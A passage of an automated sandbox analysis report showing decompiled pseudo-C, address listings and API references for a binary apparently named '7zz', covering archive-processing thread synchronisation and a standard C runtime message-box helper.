																 *(_t1186 - 4) = 0x12;
																__eflags = _t788 - _t928;
																if(__eflags != 0) {
																	 *((intOrPtr*)( *_t788 + 8))(_t788);
																}
																goto L94;
															}
															__eflags =  *((intOrPtr*)(_t1177 + 2)) - _t928;
															if(__eflags == 0) {
																goto L81;
															}
															goto L94;
															L122:
															_t669 =  *((intOrPtr*)( *((intOrPtr*)(_t1186 + 0x10)) + 8));
															__eflags =  *(_t1186 - 0x38) - _t669;
														} while ( *(_t1186 - 0x38) < _t669);
														goto L123;
													} else {
														goto L53;
													}
													while(1) {
														L53:
														_t1183 =  *((intOrPtr*)( *((intOrPtr*)(_t1186 - 0x84)) + _t1159 * 4));
														_t845 = E00442D4F(_t1183);
														__eflags = _t845 - _t928;
														 *(_t1186 - 0x2c) = _t845;
														if(_t845 != _t928) {
															break;
														}
														_push(0x58);
														_t856 = L004079F2();
														 *(_t1186 - 0x2c) = _t856;
														__eflags = _t856 - _t928;
														 *(_t1186 - 4) = 0xf;
														if(_t856 == _t928) {
															_t857 = 0;
															__eflags = 0;
														} else {
															_t857 = E00442A33(_t856, _t1186 - 0xe4);
														}
														 *(_t1186 - 4) = 0xa;
														 *((intOrPtr*)(_t1183 + 0x18)) = _t857;
														_t858 = E004429EB(_t857);
														__eflags = _t858 - _t928;
														 *(_t1186 - 0x2c) = _t858;
														if(_t858 != _t928) {
															 *(_t1186 - 4) = 9;
															E00408604(_t1186 - 0x7c);
															 *(_t1186 - 4) = 8;
															E00408604(_t1186 - 0xa4);
															 *(_t1186 - 4) = 7;
															E00442DE5(_t1186 - 0x90);
															 *(_t1186 - 4) = 6;
															E00442E79(_t1186 - 0xbc);
															 *(_t1186 - 4) = 5;
															E0044296D(_t1186 - 0xe4);
															 *(_t1186 - 4) = 4;
															L0044395A(_t1186 - 0x13c, __eflags);
															_t865 =  *((intOrPtr*)(_t1186 - 0x28));
															 *(_t1186 - 4) = 3;
															__eflags = _t865 - _t928;
															if(_t865 != _t928) {
																 *((intOrPtr*)( *_t865 + 8))(_t865);
															}
															 *((intOrPtr*)(_t1186 - 0x5c)) = 0x47b8ac;
															 *(_t1186 - 4) = 0x10;
															E0040862D();
															 *(_t1186 - 4) = 2;
															E00408604(_t1186 - 0x5c);
															_t928 =  *(_t1186 - 0x2c);
															goto L124;
														} else {
															E0040C9B4(_t1183 + 0x1c,  *((intOrPtr*)(_t1183 + 0x18)));
															 *((char*)(_t1183 + 0xb8)) = 1;
															_push(0x10);
															_t870 = L004079F2();
															__eflags = _t870 - _t928;
															if(_t870 == _t928) {
																_t870 = 0;
																__eflags = 0;
															} else {
																 *(_t870 + 4) = _t928;
																 *_t870 = 0x47b88c;
															}
															 *((intOrPtr*)(_t1183 + 0x10)) = _t870;
															E0040C9B4(_t1183 + 0x14, _t870);
															_t872 =  *((intOrPtr*)(_t1183 + 0x10));
															_t1146 = E00442DD7;
															 *((intOrPtr*)(_t872 + 8)) = _t1186 - 0x13c;
															 *(_t872 + 0xc) = _t1159;
															_t1173 = L00467AD0(_t1183, E00442DD7, _t1183);
															__eflags = _t1173 - _t928;
															if(_t1173 != _t928) {
																 *(_t1186 - 4) = 9;
																E00408604(_t1186 - 0x7c);
																 *(_t1186 - 4) = 8;
																E00408604(_t1186 - 0xa4);
																 *(_t1186 - 4) = 7;
																E00442DE5(_t1186 - 0x90);
																 *(_t1186 - 4) = 6;
																E00442E79(_t1186 - 0xbc);
																 *(_t1186 - 4) = 5;
																E0044296D(_t1186 - 0xe4);
																 *(_t1186 - 4) = 4;
																L0044395A(_t1186 - 0x13c, __eflags);
																_t880 =  *((intOrPtr*)(_t1186 - 0x28));
																 *(_t1186 - 4) = 3;
																__eflags = _t880 - _t928;
																if(_t880 != _t928) {
																	 *((intOrPtr*)( *_t880 + 8))(_t880);
																}
																 *((intOrPtr*)(_t1186 - 0x5c)) = 0x47b8ac;
																 *(_t1186 - 4) = 0x11;
																goto L47;
															} else {
																_t1159 = _t1159 + 1;
																__eflags = _t1159 -  *(_t1186 - 0x20);
																if(_t1159 <  *(_t1186 - 0x20)) {
																	continue;
																}
																goto L63;
															}
														}
													}
													 *(_t1186 - 4) = 9;
													E00408604(_t1186 - 0x7c);
													 *(_t1186 - 4) = 8;
													E00408604(_t1186 - 0xa4);
													 *(_t1186 - 4) = 7;
													E00442DE5(_t1186 - 0x90);
													 *(_t1186 - 4) = 6;
													E00442E79(_t1186 - 0xbc);
													 *(_t1186 - 4) = 5;
													E0044296D(_t1186 - 0xe4);
													 *(_t1186 - 4) = 4;
													L0044395A(_t1186 - 0x13c, __eflags);
													_t852 =  *((intOrPtr*)(_t1186 - 0x28));
													 *(_t1186 - 4) = 3;
													__eflags = _t852 - _t928;
													if(_t852 != _t928) {
														 *((intOrPtr*)( *_t852 + 8))(_t852);
													}
													 *((intOrPtr*)(_t1186 - 0x5c)) = 0x47b8ac;
													 *(_t1186 - 4) = 0xe;
													E0040862D();
													 *(_t1186 - 4) = 2;
													E00408604(_t1186 - 0x5c);
													_t928 =  *(_t1186 - 0x2c);
													goto L124;
												} else {
													goto L51;
												}
												do {
													L51:
													_push(_t1186 - 0x2ec);
													_push(E00442CFF(_t1186 - 0x1fc));
													 *(_t1186 - 4) = 0xd;
													L00443AB1(_t1186 - 0x90);
													 *(_t1186 - 4) = 0xa;
													L004439AD(_t1186 - 0x1fc);
													_t1175 = _t1175 - 1;
													__eflags = _t1175;
												} while (_t1175 != 0);
												goto L52;
											} else {
												goto L49;
											}
											do {
												L49:
												E004429C6(_t1186 - 0x334);
												 *(_t1186 - 0x2f4) = _t928;
												 *(_t1186 - 0x2f3) = _t928;
												_push(_t1186 - 0x334);
												 *(_t1186 - 4) = 0xc;
												L00443BAF(_t1186 - 0xb8);
												 *(_t1186 - 4) = 0xa;
												E00408604(_t1186 - 0x334);
												_t1158 = _t1158 + 1;
												__eflags = _t1158 -  *((intOrPtr*)(_t1174 + 8));
											} while (_t1158 <  *((intOrPtr*)(_t1174 + 8)));
											goto L50;
										} else {
											 *(_t1186 - 4) = 9;
											E00408604(_t1186 - 0x7c);
											 *(_t1186 - 4) = 8;
											E00408604(_t1186 - 0xa4);
											 *(_t1186 - 4) = 7;
											E00442DE5(_t1186 - 0x90);
											 *(_t1186 - 4) = 6;
											E00442E79(_t1186 - 0xbc);
											 *(_t1186 - 4) = 5;
											E0044296D(_t1186 - 0xe4);
											 *(_t1186 - 4) = 4;
											L0044395A(_t1186 - 0x13c, __eflags);
											_t898 =  *((intOrPtr*)(_t1186 - 0x28));
											 *(_t1186 - 4) = 3;
											__eflags = _t898 - _t928;
											if(_t898 != _t928) {
												 *((intOrPtr*)( *_t898 + 8))(_t898);
											}
											 *((intOrPtr*)(_t1186 - 0x5c)) = 0x47b8ac;
											 *(_t1186 - 4) = 0xb;
											L47:
											E0040862D();
											 *(_t1186 - 4) = 2;
											E00408604(_t1186 - 0x5c);
											_t928 = _t1173;
											L124:
											 *(_t1186 - 4) = 1;
											E0043E0CB(_t1186 - 0x2ec);
											 *(_t1186 - 4) =  *(_t1186 - 4) | 0xffffffff;
											E00442D78(_t1186 - 0x3ac);
											_t650 = _t928;
											L125:
											 *[fs:0x0] =  *((intOrPtr*)(_t1186 - 0xc));
											return _t650;
										}
									}
									goto L37;
								}
								_t904 = L0046B300( *((intOrPtr*)(_t1186 - 0x48)),  *(_t1186 - 0x44),  *((intOrPtr*)(_t1186 - 0x30)),  *(_t1186 - 0x2c));
								_t1134 =  *(_t1170 + 0x34);
								if( *(_t1170 + 0x34) == _t928) {
									_t1134 = _t1155;
								}
								_t905 = L0046B300(_t904, _t1146, _t1134, _t928);
								_t1205 = _t1146 - _t928;
								_t1135 = 0x20;
								if(_t1205 > 0 || _t1205 >= 0 && _t905 >= _t1135) {
									_t1155 = 1;
								} else {
									_t1135 = _t905;
									_t1155 = 1;
									if(_t905 < _t1155) {
										_t1135 = _t1155;
									}
								}
								_t906 =  *(_t1186 - 0x20);
								_t907 = _t906 / _t1135;
								_t1146 = _t906 % _t1135;
								 *(_t1186 - 0x2ac) = _t1135;
								 *(_t1186 - 0x20) = _t907;
								if(_t907 > _t1155) {
									goto L36;
								} else {
									 *(_t1186 - 0xd) = _t928;
									goto L33;
								}
							}
							if( *((intOrPtr*)(_t1170 + 0x44)) != _t928) {
								goto L36;
							}
							 *(_t1186 - 0xd) = _t928;
							goto L21;
						}
					}
					L004438A5(_t1186 - 0x2ec, _t1170);
					 *(_t1186 - 0xd) = 1;
					if( *(_t1186 - 0x20) > _t1155) {
						goto L13;
					}
					goto L12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t911 =  *((intOrPtr*)( *((intOrPtr*)(_t931 + 0xc)) + _t1154 * 4));
					if( *_t911 == _t928) {
						_t1184 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1186 + 0xc)) + 0xc)) +  *(_t911 + 8) * 4));
						_push(_t1184);
						E0043CBF4(_t1186 - 0x1d4, __eflags);
						 *((intOrPtr*)(_t1186 - 0x144)) =  *((intOrPtr*)(_t1184 + 0x90));
						 *(_t1186 - 0x140) =  *((intOrPtr*)(_t1184 + 0x94));
						_push(_t1186 - 0x1d4);
						 *(_t1186 - 4) = _t928;
						__eflags = L0043F571( *((intOrPtr*)(_t1186 - 0x60)), _t1146);
						if(__eflags != 0) {
							 *(_t1186 - 4) =  *(_t1186 - 4) | 0xffffffff;
							E0043CD47(_t1186 - 0x1d4, __eflags);
							_t650 = 0x80004001;
							goto L125;
						} else {
							_t1146 = ( *(_t1186 - 0x140) & 0x0000ffff) +  *((intOrPtr*)(_t1186 - 0x144));
							asm("adc ecx, esi");
							asm("adc ecx, [ebp-0x1c0]");
							 *(_t1186 - 0x18) =  *(_t1186 - 0x18) + (( *(_t1186 - 0x1d2) >> 0x00000003 & 0x00000001) << 4) + _t1146 +  *((intOrPtr*)(_t1186 - 0x1c4));
							asm("adc [ebp-0x14], ecx");
							_t43 = _t1186 - 4;
							 *_t43 =  *(_t1186 - 4) | 0xffffffff;
							__eflags =  *_t43;
							E0043CD47(_t1186 - 0x1d4, __eflags);
							goto L5;
						}
					} else {
						_t1146 =  *(_t911 + 0x1c);
						 *(_t1186 - 0x18) =  *(_t1186 - 0x18) +  *((intOrPtr*)(_t911 + 0x18));
						asm("adc [ebp-0x14], edx");
						 *((intOrPtr*)(_t1186 - 0x48)) =  *((intOrPtr*)(_t1186 - 0x48)) +  *((intOrPtr*)(_t911 + 0x18));
						asm("adc [ebp-0x44], eax");
						 *((intOrPtr*)(_t1186 - 0x30)) =  *((intOrPtr*)(_t1186 - 0x30)) + 1;
						asm("adc [ebp-0x2c], ebx");
					}
					L5:
					 *(_t1186 - 0x18) =  *(_t1186 - 0x18) + 0x44;
					_t931 =  *((intOrPtr*)(_t1186 + 0x10));
					asm("adc [ebp-0x14], ebx");
					_t1154 = _t1154 + 1;
				} while (_t1154 <  *((intOrPtr*)(_t931 + 8)));
				goto L6;
			}

0x00441925
0x0044192a
0x0044192f
0x00441935
0x00441939
0x0044193e
0x00441943
0x00441947
0x0044194a
0x0044194d
0x00441950
0x00441953
0x00441956
0x00441959
0x0044195c
0x00441a35
0x00441a35
0x00441a38
0x00441a3a
0x00441a3f
0x00441a42
0x00441a42
0x00441a47
0x00441a4a
0x00441a4b
0x00441a50
0x00441a5a
0x00441a5d
0x00441a67
0x00441a6c
0x00441a76
0x00441a79
0x00441a7c
0x00441a7f
0x00441a82
0x00441a84
0x00441a84
0x00441a8d
0x00441a94
0x00441a98
0x00441aaf
0x00441aaf
0x00441ab2
0x00441ab2
0x00441ab5
0x00441abe
0x00441abe
0x00441ac4
0x00441b81
0x00441b81
0x00441b8a
0x00441b8d
0x00441b8e
0x00441b91
0x00441b94
0x00441b9c
0x00000000
0x00441aca
0x00441acd
0x00441ad1
0x00441ad4
0x00441ae2
0x00441ae4
0x00441b56
0x00441b5a
0x00441b5c
0x00441b67
0x00441b6a
0x00441b6a
0x00441b6c
0x00441b74
0x00441b77
0x00441b79
0x00441b79
0x00441b77
0x00441b7c
0x00441b7f
0x00441ba6
0x00441bb0
0x00441bb3
0x00441bb5
0x00441bb9
0x00441bbe
0x00441bc1
0x00441bd3
0x00441bd3
0x00441bc3
0x00441bc3
0x00441bc6
0x00441bc9
0x00441bcf
0x00441bcf
0x00441bd5
0x00441bd7
0x00441bda
0x00441bdd
0x00441be2
0x00441be2
0x00441be5
0x00441be9
0x00441bec
0x00441bf0
0x00441bfb
0x00441c00
0x00441c09
0x00441c0d
0x00441c10
0x00441c20
0x00441c2b
0x00441c30
0x00441c42
0x00441c46
0x00441c4c
0x00441c57
0x00441c5b
0x00441c68
0x00441c6c
0x00441c71
0x00441c80
0x00441c84
0x00441c89
0x00441c9e
0x00441ca7
0x00441ca9
0x00441cab
0x00441d3b
0x00441d3e
0x00441d40
0x00441d43
0x00441d87
0x00441d87
0x00441d8a
0x00441d8c
0x00441dc2
0x00441dc2
0x00441dc4
0x00441dc7
0x00441e8d
0x00441e90
0x00441e94
0x00441e97
0x00441e9a
0x00441e9d
0x00441e9f
0x00442578
0x00442582
0x0044258a
0x0044258e
0x00442599
0x0044259d
0x004425a8
0x004425ac
0x004425b7
0x004425bb
0x004425c6
0x004425ca
0x004425d5
0x004425d9
0x004425e1
0x004425e5
0x004425ed
0x004425f1
0x00000000
0x00000000
0x00000000
0x00000000
0x00441ea5
0x00441ea5
0x00441ea8
0x00441eab
0x00442245
0x0044224e
0x00442251
0x00442254
0x00442257
0x0044225a
0x0044226a
0x00442273
0x00442278
0x0044227b
0x0044227f
0x00442285
0x00442297
0x004422a5
0x004422ab
0x004422ad
0x004428ae
0x004428b7
0x004428bd
0x004428c1
0x004428c9
0x004428cd
0x004428d8
0x004428dc
0x004428e7
0x004428eb
0x004428f6
0x004428fa
0x00442905
0x00442909
0x00442914
0x00442918
0x00442920
0x00442924
0x00442929
0x0044292c
0x00442930
0x00442935
0x0044293b
0x0044293f
0x00442944
0x0044294e
0x00442953
0x00000000
0x00442953
0x004422b3
0x004422b5
0x00442511
0x00442523
0x00442528
0x0044252a
0x004428b5
0x004428b5
0x00000000
0x004428b5
0x00442530
0x00442539
0x0044253a
0x0044253f
0x00442546
0x00442552
0x00442557
0x00442557
0x00442557
0x0044255a
0x0044255a
0x0044255e
0x00442564
0x00442564
0x00000000
0x00442564
0x004422bb
0x004422bb
0x004422be
0x004422cb
0x004422c0
0x004422c0
0x004422c0
0x004422d0
0x004422d2
0x004422ef
0x004422f2
0x00442329
0x004422f4
0x004422f7
0x004422fd
0x00442306
0x0044230a
0x00442322
0x00442322
0x00442335
0x00442338
0x0044233b
0x0044233e
0x004423c9
0x004423cc
0x004423cf
0x004423d2
0x004423d4
0x004423dd
0x004423de
0x004423e2
0x004423ed
0x004423f8
0x004423fc
0x00442404
0x00442408
0x00442408
0x0044241c
0x00442425
0x00442431
0x00442437
0x0044243c
0x00442442
0x00442449
0x0044244b
0x00000000
0x00442451
0x00442459
0x00442469
0x0044246e
0x00442471
0x004424e8
0x004424ef
0x004424f2
0x00442505
0x00442506
0x00442506
0x00442508
0x00000000
0x00442508
0x00442476
0x0044247b
0x0044247d
0x00000000
0x00000000
0x00442486
0x0044248c
0x00442497
0x004424a2
0x004424ac
0x004424b3
0x004424b8
0x004424c6
0x004424d4
0x004424d5
0x00000000
0x004424d5
0x00442340
0x00442340
0x00442349
0x0044234a
0x0044234e
0x0044235f
0x0044236d
0x00442371
0x00442378
0x00442388
0x0044238a
0x00442398
0x00442399
0x004423a8
0x004423b0
0x004423b4
0x00000000
0x004423b4
0x004422d4
0x004422d4
0x004422e2
0x00000000
0x004422e2
0x004422d2
0x00442281
0x00442283
0x00000000
0x00000000
0x00000000
0x00442283
0x0044225c
0x00000000
0x0044225c
0x00441eb1
0x00441eb4
0x00000000
0x00000000
0x00441ec6
0x00441ec9
0x00441ecc
0x00441ece
0x00000000
0x00000000
0x00441eda
0x00441edf
0x00441ee2
0x00441ee6
0x00442099
0x004420a3
0x004420b1
0x004420be
0x004420cb
0x004420d1
0x004420d3
0x0044262d
0x00442631
0x00442639
0x0044263d
0x00442648
0x0044264c
0x00442657
0x0044265b
0x00442666
0x0044266a
0x00442675
0x00442679
0x00442684
0x00442688
0x0044268d
0x00442690
0x00442694
0x00442696
0x0044269b
0x0044269b
0x0044269e
0x004426a8
0x004426ac
0x004426b4
0x004426b8
0x004426bd
0x00000000
0x004426bd
0x004420e4
0x004420e6
0x00442236
0x00442236
0x0044223a
0x00000000
0x0044223a
0x004420ec
0x004420ec
0x004420f5
0x004420f9
0x004420fc
0x00442102
0x00442105
0x00442109
0x00442113
0x00442116
0x00442119
0x0044211c
0x00442186
0x00442189
0x0044218b
0x0044277b
0x00442781
0x00442784
0x00442788
0x0044278a
0x0044278f
0x0044278f
0x00442798
0x0044279c
0x004427a4
0x004427a8
0x004427b3
0x004427b7
0x004427c2
0x004427c6
0x004427d1
0x004427d5
0x004427e0
0x004427e4
0x004427ef
0x004427f3
0x004427f8
0x004427fb
0x004427ff
0x00442801
0x00442806
0x00442806
0x00442809
0x00442810
0x00442761
0x00442764
0x0044276c
0x00442770
0x00000000
0x00442770
0x00442191
0x0044219b
0x0044219d
0x0044219f
0x0044281a
0x00442820
0x00442823
0x00442827
0x00442829
0x0044282e
0x0044282e
0x00442837
0x0044283b
0x00442843
0x00442847
0x00442852
0x00442856
0x00442861
0x00442865
0x00442870
0x00442874
0x0044287f
0x00442883
0x0044288e
0x00442892
0x00442897
0x0044289a
0x0044289e
0x004428a0
0x004428a9
0x004428a9
0x00000000
0x004428a0
0x004421a6
0x004421aa
0x004421b0
0x004421b2
0x004421b5
0x0044222a
0x0044222d
0x00442231
0x00000000
0x00442231
0x004421b7
0x004421bd
0x004421bd
0x004421bf
0x004421c5
0x00000000
0x00000000
0x004421c7
0x004421c8
0x004421cb
0x004421ce
0x00000000
0x00000000
0x00000000
0x004421d0
0x004421d2
0x004421db
0x004421de
0x004421e6
0x004421ee
0x004421fc
0x00442201
0x00442204
0x0044220f
0x0044220f
0x00442216
0x0044221c
0x00442225
0x00000000
0x00442225
0x00442127
0x00442129
0x0044212f
0x0044213b
0x00442140
0x0044214a
0x0044214c
0x0044214e
0x004426c8
0x004426ce
0x004426d1
0x004426d5
0x004426d7
0x004426dc
0x004426dc
0x004426e5
0x004426e9
0x004426f1
0x004426f5
0x00442700
0x00442704
0x0044270f
0x00442713
0x0044271e
0x00442722
0x0044272d
0x00442731
0x0044273c
0x00442740
0x00442745
0x00442748
0x0044274c
0x0044274e
0x00442753
0x00442753
0x00442756
0x0044275d
0x00000000
0x0044275d
0x00442162
0x00442166
0x0044216c
0x0044216f
0x00442173
0x00442175
0x0044217e
0x0044217e
0x00000000
0x00442175
0x00441eec
0x00441eef
0x00000000
0x00000000
0x00000000
0x00442569
0x0044256c
0x0044256f
0x0044256f
0x00000000
0x00000000
0x00000000
0x00000000
0x00441dcd
0x00441dcd
0x00441dd3
0x00441dd8
0x00441ddd
0x00441ddf
0x00441de2
0x00000000
0x00000000
0x00441de8
0x00441dea
0x00441df0
0x00441df3
0x00441df5
0x00441df9
0x00441e0b
0x00441e0b
0x00441dfb
0x00441e04
0x00441e04
0x00441e0f
0x00441e13
0x00441e16
0x00441e1b
0x00441e1d
0x00441e20
0x00441f8c
0x00441f90
0x00441f9b
0x00441f9f
0x00441faa
0x00441fae
0x00441fb9
0x00441fbd
0x00441fc8
0x00441fcc
0x00441fd7
0x00441fdb
0x00441fe0
0x00441fe3
0x00441fe7
0x00441fe9
0x00441fee
0x00441fee
0x00441ff1
0x00441ffb
0x00441fff
0x00442007
0x0044200b
0x00442010
0x00000000
0x00441e26
0x00441e2c
0x00441e31
0x00441e38
0x00441e3a
0x00441e3f
0x00441e42
0x00441e4f
0x00441e4f
0x00441e44
0x00441e44
0x00441e47
0x00441e47
0x00441e55
0x00441e58
0x00441e5d
0x00441e67
0x00441e6c
0x00441e71
0x00441e79
0x00441e7b
0x00441e7d
0x0044201b
0x0044201f
0x0044202a
0x0044202e
0x00442039
0x0044203d
0x00442048
0x0044204c
0x00442057
0x0044205b
0x00442066
0x0044206a
0x0044206f
0x00442072
0x00442076
0x00442078
0x0044207d
0x0044207d
0x00442080
0x00442087
0x00000000
0x00441e83
0x00441e83
0x00441e84
0x00441e87
0x00000000
0x00000000
0x00000000
0x00441e87
0x00441e7d
0x00441e20
0x00441efd
0x00441f01
0x00441f0c
0x00441f10
0x00441f1b
0x00441f1f
0x00441f2a
0x00441f2e
0x00441f39
0x00441f3d
0x00441f48
0x00441f4c
0x00441f51
0x00441f54
0x00441f58
0x00441f5a
0x00441f5f
0x00441f5f
0x00441f62
0x00441f6c
0x00441f70
0x00441f78
0x00441f7c
0x00441f81
0x00000000
0x00000000
0x00000000
0x00000000
0x00441d8e
0x00441d8e
0x00441d9a
0x00441da0
0x00441da7
0x00441dab
0x00441db6
0x00441dba
0x00441dbf
0x00441dbf
0x00441dbf
0x00000000
0x00000000
0x00000000
0x00000000
0x00441d45
0x00441d45
0x00441d4b
0x00441d50
0x00441d56
0x00441d68
0x00441d69
0x00441d6d
0x00441d78
0x00441d7c
0x00441d81
0x00441d82
0x00441d82
0x00000000
0x00441cb1
0x00441cb4
0x00441cb8
0x00441cc3
0x00441cc7
0x00441cd2
0x00441cd6
0x00441ce1
0x00441ce5
0x00441cf0
0x00441cf4
0x00441cff
0x00441d03
0x00441d08
0x00441d0b
0x00441d0f
0x00441d11
0x00441d16
0x00441d16
0x00441d19
0x00441d1c
0x00441d20
0x00441d23
0x00441d2b
0x00441d2f
0x00441d34
0x004425f6
0x004425fc
0x00442600
0x00442605
0x0044260f
0x00442614
0x00442616
0x0044261c
0x00442624
0x00442624
0x00441cab
0x00000000
0x00441b7f
0x00441af2
0x00441af7
0x00441afc
0x00441afe
0x00441afe
0x00441b04
0x00441b09
0x00441b0d
0x00441b0e
0x00441b3e
0x00441b16
0x00441b18
0x00441b1a
0x00441b1d
0x00441b1f
0x00441b1f
0x00441b1d
0x00441b3f
0x00441b44
0x00441b44
0x00441b46
0x00441b4e
0x00441b51
0x00000000
0x00441b53
0x00441b53
0x00000000
0x00441b53
0x00441b51
0x00441ad9
0x00000000
0x00000000
0x00441adf
0x00000000
0x00441adf
0x00441ac4
0x00441aa1
0x00441aa9
0x00441aad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00441962
0x00441962
0x00441965
0x0044196a
0x00441999
0x004419a2
0x004419a3
0x004419ae
0x004419bb
0x004419cb
0x004419cc
0x004419d4
0x004419d6
0x00441b23
0x00441b2d
0x00441b32
0x00000000
0x004419dc
0x004419eb
0x004419fe
0x00441a06
0x00441a0c
0x00441a0f
0x00441a12
0x00441a12
0x00441a12
0x00441a1c
0x00000000
0x00441a1c
0x0044196c
0x0044196f
0x00441972
0x00441975
0x0044197b
0x00441981
0x00441984
0x00441988
0x00441988
0x00441a21
0x00441a21
0x00441a25
0x00441a28
0x00441a2b
0x00441a2c
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0044192A
__aulldiv.LIBCMT ref: 00441AF2
__aulldiv.LIBCMT ref: 00441B04
LeaveCriticalSection.KERNEL32(?), ref: 004426C8

Part of subcall function 00443BAF: __EH_prolog.LIBCMT ref: 00443BB4

EnterCriticalSection.KERNEL32(?,?,00000000,00000004,00000004,00010000,?,00000001), ref: 004420FC
LeaveCriticalSection.KERNEL32(?), ref: 00442166
WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF,?,?,00000004,00000004,00010000,?,00000001), ref: 0044241C

Part of subcall function 00440F0D: __EH_prolog.LIBCMT ref: 00440F12

Part of subcall function 00467B10: SetEvent.KERNEL32(00000000,00410FDF), ref: 00467B13

LeaveCriticalSection.KERNEL32(?), ref: 004421AA

Part of subcall function 00441083: EnterCriticalSection.KERNEL32(?,00000000,?,00442557,0000001A,?,?,?,?,00000004,00000004,00010000,?,00000001), ref: 0044108B
Part of subcall function 00441083: LeaveCriticalSection.KERNEL32(?), ref: 004410AE

LeaveCriticalSection.KERNEL32(?), ref: 0044277B
LeaveCriticalSection.KERNEL32(?), ref: 0044281A

Part of subcall function 00442DE5: __EH_prolog.LIBCMT ref: 00442DEA

Part of subcall function 00442E79: __EH_prolog.LIBCMT ref: 00442E7E

Part of subcall function 0044296D: __EH_prolog.LIBCMT ref: 00442972
Part of subcall function 0044296D: DeleteCriticalSection.KERNEL32(?,?,?,004425CF,00000004,00000004,00010000,?,00000001), ref: 00442996

Part of subcall function 0044395A: __EH_prolog.LIBCMT ref: 0044395F
Part of subcall function 0044395A: DeleteCriticalSection.KERNEL32(?,?,?,004425DE,00000004,00000004,00010000,?,00000001), ref: 00443976

Part of subcall function 0043F571: __EH_prolog.LIBCMT ref: 0043F576

Strings

D, xrefs: 00441A21

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: CriticalSection$H_prolog$Leave$DeleteEnter__aulldiv$EventMultipleObjectsWait
String ID: D
API String ID: 1344393993-2746444292
Opcode ID: ebf051fc97326ff15014fddf33e1ce4ac637c8adec1716bc8864d6dceb0aae89
Instruction ID: b7ea9ee86155e0a7c7e569c876f0c1e31397adaa9b36ed63c9e7592aed198d63
Opcode Fuzzy Hash: ebf051fc97326ff15014fddf33e1ce4ac637c8adec1716bc8864d6dceb0aae89
Instruction Fuzzy Hash: A7B27030D00288DFEB15EFA4C994BDDBBB0AF19308F54809EE54967292DB785E49CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00471C24 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00471C24(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr* _t4;
				intOrPtr* _t7;
				_Unknown_base(*)()* _t11;
				void* _t14;
				struct HINSTANCE__* _t15;
				void* _t17;

				_t14 = 0;
				_t17 =  *0x493850 - _t14; // 0x0
				if(_t17 != 0) {
					L4:
					_t4 =  *0x493854; // 0x0
					if(_t4 != 0) {
						_t14 =  *_t4();
						if(_t14 != 0) {
							_t7 =  *0x493858; // 0x0
							if(_t7 != 0) {
								_t14 =  *_t7(_t14);
							}
						}
					}
					return  *0x493850(_t14, _a4, _a8, _a12);
				}
				_t15 = LoadLibraryA("user32.dll");
				if(_t15 == 0) {
					L10:
					return 0;
				}
				_t11 = GetProcAddress(_t15, "MessageBoxA");
				 *0x493850 = _t11;
				if(_t11 == 0) {
					goto L10;
				} else {
					 *0x493854 = GetProcAddress(_t15, "GetActiveWindow");
					 *0x493858 = GetProcAddress(_t15, "GetLastActivePopup");
					goto L4;
				}
			}

0x00471c25
0x00471c27
0x00471c2f
0x00471c73
0x00471c73
0x00471c7a
0x00471c7e
0x00471c82
0x00471c84
0x00471c8b
0x00471c90
0x00471c90
0x00471c8b
0x00471c82
0x00000000
0x00471c9f
0x00471c3c
0x00471c40
0x00471ca9
0x00000000
0x00471ca9
0x00471c4e
0x00471c52
0x00471c57
0x00000000
0x00471c59
0x00471c67
0x00471c6e
0x00000000
0x00471c6e

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,00470D65,?,Microsoft Visual C++ Runtime Library,00012010,?,0047CC5C,?,0048A174,?,?,?,Runtime Error!Program: ), ref: 00471C36
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00471C4E
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00471C5F
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00471C6C

Strings

GetActiveWindow, xrefs: 00471C59
MessageBoxA, xrefs: 00471C48
user32.dll, xrefs: 00471C31
GetLastActivePopup, xrefs: 00471C61

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: AddressProc$LibraryLoad
